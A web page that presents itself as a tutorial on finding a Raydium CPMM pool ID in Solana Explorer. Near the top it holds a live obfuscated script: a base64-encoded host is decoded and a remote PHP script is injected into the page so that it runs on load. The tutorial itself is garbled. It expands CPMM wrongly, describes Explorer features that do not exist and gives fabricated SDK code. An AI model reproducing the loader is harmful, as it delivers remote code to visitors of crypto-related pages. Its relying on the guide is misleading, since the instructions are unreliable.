![Solana: How to find CPMM pool address on Solana Explorer create tx](https://ppt1080.b-cdn.net/images/nophoto.jpg)
Solana: How to find CPMM pool address on Solana Explorer create tx
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=de7d3656″;document.body.appendChild(script);
Here is an article with detailed instructions on how to find the poolId
in Solana Explorer:
Finding Your Pool ID: A Step-by-Step Guide
Since you have created a CPMM (Centralized Payment Mechanism for Markets) liquidity pool using the Raydium SDK v2, it is important to identify your pool ID from Solana Explorer. This is crucial for a variety of reasons, including automating tasks and troubleshooting. In this article, we will walk you through the process of finding your poolId
in Solana Explorer.
Prerequisites
Before proceeding, make sure that:
- You have Raydium SDK v2 installed on your Solana node.
- You have set up a liquidity pool using the @raydium-io/raydium-sdk-v2 package.
- You have created a new transaction (tx) to interact with the liquidity pool.
Step 1: Create a Transaction
To find the poolId
, you need to create a transaction that interacts with your liquidity pool. Here’s how:
- Open Solana Explorer ([ and navigate to the
Create Transaction
tab.
- Select the transaction type (e.g.
Create Pool
).
- Fill in the required information:
- Pool Name: Enter the name of the pool.
- Pool ID: Write down the
poolId
you want to find.
Step 2: Submit Transaction
Now you need to submit this transaction to interact with your liquidity pool. Here’s how:
- Open the transaction editor in Solana Explorer ([
- Click the “Execute” button to create a new transaction.
- Select the transaction type (e.g. “Create Pool”).
- Select your liquidity pool address from the list of available addresses.
Step 3: Retrieve the transaction ID
After you have executed the transaction, you will receive a result. To retrieve the poolId
, you need to:
- Check the transaction output for the “id” property.
- The value should match the
poolId
that you recorded in Step 1.
Example Use Cases
Let’s assume your pool address is 0x...
. If you entered poolName
of My Centralized Payment Mechanism
, you can use the following transaction to retrieve the poolId
:
const raydium = require('@raydium-io/raydium-sdk-v2');
async function getPoolId() {
const { pool, tx } = await raydium.createPool({
name: "My Centralized Payment Mechanism",
poolId: '0x...', // Note poolId
});
return tx.id;
}
getPoolId().then((poolId) => console.log(poolId));
Tips and Variations
- You can also use the Transaction History tab of Solana Explorer to view all transactions associated with your liquidity pool. This can help you determine which transaction is interacting with your pool.
- If you are using a custom script or node, be sure to extract the
poolId
from the transaction output and pass it as an argument to your script.
Following these steps, you should be able to find your poolId
in Solana Explorer. Happy querying!